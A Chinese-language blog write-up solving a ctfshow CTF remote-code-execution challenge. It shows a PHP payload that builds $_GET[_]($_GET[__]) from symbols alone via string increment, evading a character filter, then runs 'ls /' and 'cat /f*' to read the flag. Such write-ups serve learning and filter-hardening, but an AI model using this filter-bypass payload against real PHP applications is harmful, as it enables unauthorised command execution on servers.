您现在的位置是:首页 >技术交流 >ctfshow 每周大挑战 RCE极限挑战 2网站首页技术交流
ctfshow 每周大挑战 RCE极限挑战 2
题目
解题步骤
1.跑一下正则
本着能懒就懒的原则,就不写Python了(提一下这个主要是我一开始想的是写Python呜呜呜),直接写php,还能复制粘贴题目代码里正则表达式的部分,然后从浏览器打开个在线php工具跑一下,得到未过滤的字符有哪几个
<?php
for ($i=32;$i<127;$i++){
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}-<?>"|`~\\]/",chr($i))){
echo chr($i)." ";
}
}
?>
可见,没被过滤的有空格和下面这几个字符:
! $ ’ ( ) + , . / ; = [ ] _
2.变量自增
这里我就直接说要用什么解法吧,这题需要通过变量自增构造出
$GET[_]($_GET[__]);
然后实现命令执行。
一个小小的思考:以后如果再看到$、_、'、+、[]没被过滤,可以考虑用变量自增解题。当然严谨点儿说的话,如果数字0没被过滤,那也可以没有单引号,还是要具体情况具体分析。
在php中,如果$a="A"
,那么执行$a++
后,$a
的值是 "B"
浅浅验证一下:
因此,获取一个字母后,通过自增操作即可获得所有字母。
那么,如何用题目中没被过滤的字符获得“A”呢?
[]默认表示数组名Array,[]._ 表示数组名Array拼接上字符_,取Array_的第0个位置的元素就是“A”。[1]
[1]参考博客:https://blog.csdn.net/XiaoXiao_RenHe/article/details/130068584
这里我也用在线php工具验证了一下:
给变量赋值为[],得到的输出值是Array
[]拼接上_再取第0个位置的元素得到A
不拼接_的话是出不来“A”的
但是,数字被过滤了,怎样得到第0个位置的元素呢?
这里给出两种方法吧。
一是用两个没被过滤的、不同的字符组成布尔表达式作为数组的索引,例如'!'=='+'
,两个不同的字符当然不相等啦,所以返回值是0;二是用'_'
作为数组的索引。下面也贴上验证,总之两种方法都能得到A,忽略这里的报错就好,不影响做题。
既然现在已经得到了A,也已经知道了可以通过自增的方式得到其他的字母,所以接下来就是通过自增构造出GET了,具体过程如下:
$_=[]._; //$_变量的值是Array_
$_=$_['_']; //将$_赋值为$_[0],此时$_的值是A
$_++;$_++;$_++; //$_的值依次自增为B、C、D
$__=++$_; //++在$_前,可以把$_自增后的值赋给$__,此时$__的值为E,$_的值也是E,而如果写$__=$_++的话,那$__的值就是D了,应该可以看作++在前是先自增再赋值,++在后是先赋值再自增,这里和C语言中“i++与++i的区别”是一样的
$_++; //$_继续自增为F
$__=++$_.$__; //$_自增为G,与$__的值E拼接后,再赋给$__,此时$__的值是GE
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++; //$_的值依次自增为H、I、J、K、L、M、N、O、P、Q、R、S
$_=$__.++$_; //$_自增为T并拼接到GE的后面,再赋值给$_,此时$_的值为GET
$_='_'.$_; //在GET的前面拼接一个_,此时$_的值为_GET
$$_[_]($$_[__]); //拼接出$_GET[_]($_GET[__]),get传参的参数名为_和__,如_参数传参为system,__参数传参为ls /,就在eval的括号中拼接出了system('ls /');
3.最终解题payload
所以,解题的payload可以用:
借助HackBar插件,勾选Post data,方框中传post的参数:
ctf_show=$_=[]._;$_=$_['_'];$_++;$_++;$_++;$__=++$_;$_++;$__=++$_.$__;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$__=$__.++$_;$_='_'.$__;$$_[_]($$_[__]);
在url传get的参数:
?_=system&__=ls /
都填好之后,点击Execute,如图所示,回显了根目录下存在的文件,看到有个f1agaaa:
修改get请求的参数为?_=system&__=cat /f*,回显了flag:
一点多余的思考
通过学习其他师傅们的wp,能拿到这题的flag后,我开始疑惑,为什么要拼接出两个get呀,直接用一个get接收完整的system()函数不香吗?
于是开始了尝试,去掉一个get,也就是把post的参数最后的$$_[_]($$_[__]);
删掉括号和括号里的内容,只留下$$_[_];
,url里只传一个get参数_=system('ls /')
,结果没有回显,后来又打开了一篇博客(也就是上面提到的参考博客)发现那个师傅也有这个疑问,感觉还蛮巧的。
本来觉得就记住一个$_GET[_]不行就好咯,但是最后还是没忍住去请教了大佬……大佬如是说:
$_GET[_]($_GET[__])
这个形式是把$_GET[_]
的值作为函数名,$_GET[__]
的值作为参数;
$_GET[_]
并不能执行函数,只是将接收到的值作为字符串处理;
重点是括号,有括号表示是一个函数。
总之呢,就是$_GET[_]是不能执行函数的,这里的括号很关键,大佬还举了一个很棒的栗子:如果是$_GET[_]()
的话,可以用?_=phpinfo 执行一个无参的函数。后来我也试了一下确实可以:
以后不能再这么写博客了,实在是太话痨了,一篇博客就要写好久,有点难顶。